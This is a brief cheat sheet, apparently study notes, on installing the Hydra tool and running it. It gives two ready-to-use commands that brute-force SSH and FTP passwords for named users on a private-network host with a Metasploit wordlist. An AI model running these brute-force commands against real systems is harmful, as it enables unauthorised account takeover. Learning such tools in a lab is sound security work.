HYDRA

# installing hydra commad line tool
apt install hydra

# installing the GUI
atp install hydra-gtk

# launching hydra on SSH daemon (port 22) that runs on 192.168.0.26
# it's trying to brute-force the password of user mark using a wordlist
hydra -l mark -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.0.26:22

# launching hydra on FTP daemon (port 21) that runs on 192.168.0.26
# it's trying to brute-force the password of user toor using a wordlist
hydra -l toor -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ftp://192.168.0.26:21